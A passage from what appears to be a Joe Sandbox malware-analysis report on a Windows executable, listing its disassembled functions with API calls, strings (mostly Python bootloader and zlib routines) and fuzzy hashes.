Instruction ID: 6ddf93305fa28341ec03096d9e730c5371780db105ea9a17e890f3bf8ebbbb0a
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: DCE086A0F0920243FF15FBF154553789351EF94700FC440B2D81D462A9EE3C68818732

Function 00007FF7EAD1AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7EAD1A9D5,?,?,00000000,00007FF7EAD1AA8A), ref: 00007FF7EAD1ABC6
GetLastError.KERNEL32(?,?,?,00007FF7EAD1A9D5,?,?,00000000,00007FF7EAD1AA8A), ref: 00007FF7EAD1ABD0

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: d78c9e0a33182bb1b0867914edefaabed07851869f2b579fb04d35b1bfafe9fe
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 5021C661B0C68241FA90F7B195943BD9382DFA4790FC842FBD92E477E9CE7CA4418322

Function 00007FF7EAD1BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1BED4

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: c87750b423259ca73a37448cb9e3486c1050400a723d4ed49d439a6e0e6ad29a
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: AD41B63291824587FB34EB39A540379F7A1EB65750F900172E68E836D9CF3DE402CBA2

Function 00007FF7EAD07F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7EAD0803A

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 7b0bfe6dda5be6348f5dea9afb2976fe88cae53a5ed3d6ba0ce225c2e8636390
Instruction ID: 5eac34d143a98ddc1e11c8133e3d16fa8cc1d241fbf1b774b58bcddbc53cc607
Opcode Fuzzy Hash: 7b0bfe6dda5be6348f5dea9afb2976fe88cae53a5ed3d6ba0ce225c2e8636390
Instruction Fuzzy Hash: 33217121B1865146FA50FA2269443FAE752FF45BD8FC844B2EE4D0778ACEBDE051C712

Function 00007FF7EAD1B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1B9C2

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction ID: ed6467542f1b89133117b0ef7db505fafeb9c32d2d00e86df438a2cb0da09135
Opcode Fuzzy Hash: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction Fuzzy Hash: 96317E72A1860285F711FB75884137DA7A0EFA0BA0FC101B7E91D033DADE7CA5428732

Function 00007FF7EAD19961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7EAD1998F

Part of subcall function 00007FF7EAD19A88: GetModuleHandleExW.KERNEL32 ref: 00007FF7EAD19AAD
Part of subcall function 00007FF7EAD19A88: GetProcAddress.KERNEL32 ref: 00007FF7EAD19AC3
Part of subcall function 00007FF7EAD19A88: FreeLibrary.KERNEL32 ref: 00007FF7EAD19AEA

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: c9e9575e22fe9a05d56e96a0748133f05442c53471008ec5b0c8fa685a81f891
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: 8B216872A046858AFB24EF74C4803EC73B0EB14718F845677E76D06A99EF389584CB62

Function 00007FF7EAD15F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD15EF9

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: e302266983d598e0663e992107c0094a23fbe487e1e9b27af0ad8e5690f3ba44
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 21116F65A1C64281FA61FF6194007B9E360EFA5B84FC444B3EA4C57A9ECF3CD4018762

Function 00007FF7EAD26354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD26377

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 870eb6fc6106efc71abb7fd260fe0838bba690b09f9ed7633e88a6430e8dadb6
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 1D21A132608B8186EB61EF28D440379B7A0FB84B54F9842B5EA5D876DDDF3CD401CB21

Function 00007FF7EAD103BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD10410

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 255d7391021efd3bdff95e3844f6d7295641bbccf7e78d129de294dd346b75f7
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 8D018261B0874940F504FB6299402A9E795FFA5FE0F894672DE5C17BDECE3CE4018311

Function 00007FF7EAD1EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7EAD1B32A,?,?,?,00007FF7EAD14F11,?,?,?,?,00007FF7EAD1A48A), ref: 00007FF7EAD1EBED

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: 073d31d3aa8517958e1066c480c02c0a709202f1d6a1eed3c9e79572b0961b62
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: C5F06254B0920241FE59F67559993B5D399DFA8B40FCC45B2C90F463C9DD3CE4818232

Function 00007FF7EAD1D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7EAD10C90,?,?,?,00007FF7EAD122FA,?,?,?,?,?,00007FF7EAD13AE9), ref: 00007FF7EAD1D63A

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 4e75942390d74251708174c86bbe5854b8d2a36d7cea8b24552fb5be8cf2454a
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 5AF0D450B0924A45FE65B7B158417759394DFA4BA0FC806B2D9BE862CADF3CA4808672

Non-executed Functions

Function 00007FF7EAD05830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05840
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05852
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05889
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0589B
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD058B4
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD058C6
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD058DF
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD058F1
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0590D
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0591F
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0593B
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0594D
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05969
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD0597B
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD05997
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD059A9
GetProcAddress.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD059C5
GetLastError.KERNEL32(?,00007FF7EAD064CF,?,00007FF7EAD0336E), ref: 00007FF7EAD059D7

Strings

PyErr_Clear, xrefs: 00007FF7EAD05AA1, 00007FF7EAD05AC3
Py_ExitStatusException, xrefs: 00007FF7EAD058AA, 00007FF7EAD058CC
PyErr_Restore, xrefs: 00007FF7EAD05B87, 00007FF7EAD05BA9
Py_InitializeFromConfig, xrefs: 00007FF7EAD05903, 00007FF7EAD05925
GetProcAddress, xrefs: 00007FF7EAD05868
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7EAD05DDD, 00007FF7EAD05DFF
PyConfig_SetBytesString, xrefs: 00007FF7EAD05A17, 00007FF7EAD05A39
PyObject_SetAttrString, xrefs: 00007FF7EAD05D81, 00007FF7EAD05DA3
PyEval_EvalCode, xrefs: 00007FF7EAD05BB5, 00007FF7EAD05BD7
PyConfig_Read, xrefs: 00007FF7EAD059E9, 00007FF7EAD05A0B
PyUnicode_DecodeFSDefault, xrefs: 00007FF7EAD05F1F, 00007FF7EAD05F41
PyUnicode_Replace, xrefs: 00007FF7EAD05FD7, 00007FF7EAD05FF9
PyImport_AddModule, xrefs: 00007FF7EAD05BE3, 00007FF7EAD05C05
PySys_GetObject, xrefs: 00007FF7EAD05E67, 00007FF7EAD05E89
PyRun_SimpleStringFlags, xrefs: 00007FF7EAD05E0B, 00007FF7EAD05E2D
PyErr_Occurred, xrefs: 00007FF7EAD05B2B, 00007FF7EAD05B4D
PyConfig_Clear, xrefs: 00007FF7EAD0598D, 00007FF7EAD059AF
PyMarshal_ReadObjectFromString, xrefs: 00007FF7EAD05C6D, 00007FF7EAD05C8F
Py_DecodeLocale, xrefs: 00007FF7EAD0587F, 00007FF7EAD058A1
PyMem_RawFree, xrefs: 00007FF7EAD05C9B, 00007FF7EAD05CBD
PyObject_GetAttrString, xrefs: 00007FF7EAD05D53, 00007FF7EAD05D75
PyUnicode_FromFormat, xrefs: 00007FF7EAD05F4D, 00007FF7EAD05F6F
PyUnicode_Decode, xrefs: 00007FF7EAD05EF1, 00007FF7EAD05F13
PyErr_Fetch, xrefs: 00007FF7EAD05ACF, 00007FF7EAD05AF1
PyErr_NormalizeException, xrefs: 00007FF7EAD05AFD, 00007FF7EAD05B1F
PyConfig_SetWideStringList, xrefs: 00007FF7EAD05A73, 00007FF7EAD05A95
PyImport_ImportModule, xrefs: 00007FF7EAD05C3F, 00007FF7EAD05C61
PyConfig_InitIsolatedConfig, xrefs: 00007FF7EAD059BB, 00007FF7EAD059DD
PyModule_GetDict, xrefs: 00007FF7EAD05CC9, 00007FF7EAD05CEB
Py_IsInitialized, xrefs: 00007FF7EAD05931, 00007FF7EAD05953
PyConfig_SetString, xrefs: 00007FF7EAD05A45, 00007FF7EAD05A67
PyObject_CallFunctionObjArgs, xrefs: 00007FF7EAD05D25, 00007FF7EAD05D47
Py_Finalize, xrefs: 00007FF7EAD058D5, 00007FF7EAD058F7
PyObject_Str, xrefs: 00007FF7EAD05DAF, 00007FF7EAD05DD1
PyStatus_Exception, xrefs: 00007FF7EAD05E39, 00007FF7EAD05E5B
PyObject_CallFunction, xrefs: 00007FF7EAD05CF7, 00007FF7EAD05D19
Failed to get address for %hs, xrefs: 00007FF7EAD05861
PyUnicode_Join, xrefs: 00007FF7EAD05FA9, 00007FF7EAD05FCB
PyErr_Print, xrefs: 00007FF7EAD05B59, 00007FF7EAD05B7B
Py_DecRef, xrefs: 00007FF7EAD05836, 00007FF7EAD05858
PyUnicode_FromString, xrefs: 00007FF7EAD05F7B, 00007FF7EAD05F9D
PySys_SetObject, xrefs: 00007FF7EAD05E95, 00007FF7EAD05EB7
PyUnicode_AsUTF8, xrefs: 00007FF7EAD05EC3, 00007FF7EAD05EE5
Py_PreInitialize, xrefs: 00007FF7EAD0595F, 00007FF7EAD05981
PyImport_ExecCodeModule, xrefs: 00007FF7EAD05C11, 00007FF7EAD05C33

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 838a6403920f793cf825e78015ef6722e1d388e4f4ef0c52e758ecde8d02b0c6
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: FE22D274A09B0781FA05FB11A8507B4A7A5EF05749FD490F7E81E02268FFBCB948C272

Function 00007FF7EAD240AC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF7EAD240FA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD24766
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD248DC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD24B9A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD24DBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD24FF7
memcpy_s.LIBCPMT ref: 00007FF7EAD250D2
memcpy_s.LIBCPMT ref: 00007FF7EAD2517D
memcpy_s.LIBCPMT ref: 00007FF7EAD2524C

Strings

1#QNAN, xrefs: 00007FF7EAD24213
1#SNAN, xrefs: 00007FF7EAD2420A
1#INF, xrefs: 00007FF7EAD24223
1#IND, xrefs: 00007FF7EAD241E7

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction ID: 31f22b5283e2208df0158dfad9c53f70904a26db70fb98b4acc606cffb1b8dde
Opcode Fuzzy Hash: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction Fuzzy Hash: 16B2E6B2E182928BF766DE64D4407FDB7A1FB54348F805176DE0E57A8CDB38A900CB61

Function 00007FF7EAD0ACAD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid literal/length code, xrefs: 00007FF7EAD0B3E2
invalid code lengths set, xrefs: 00007FF7EAD0AE2D
invalid distance too far back, xrefs: 00007FF7EAD0B670
invalid bit length repeat, xrefs: 00007FF7EAD0B099
invalid distance code, xrefs: 00007FF7EAD0B5B4
invalid code -- missing end-of-block, xrefs: 00007FF7EAD0B0C6
too many length or distance symbols, xrefs: 00007FF7EAD0AE46
invalid distances set, xrefs: 00007FF7EAD0B1A0
invalid literal/lengths set, xrefs: 00007FF7EAD0B133

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 55880860ec2df9374ed9e05eb7c1f9660e2769407a38999da05ffb99d6c3dc89
Instruction ID: b3b414dd2fe38da3b937b09c1e45a012cba9e48af51e278f459f28b11157d669
Opcode Fuzzy Hash: 55880860ec2df9374ed9e05eb7c1f9660e2769407a38999da05ffb99d6c3dc89
Instruction Fuzzy Hash: D3522872A186A54BE7A4DF14D498BBE7BEAFB44344F81413AE64A877C4DB3CD804CB11

Function 00007FF7EAD0D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7EAD0D148
RtlCaptureContext.KERNEL32 ref: 00007FF7EAD0D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7EAD0D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7EAD0D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF7EAD0D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7EAD0D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7EAD0D24C

Memory Dump Source

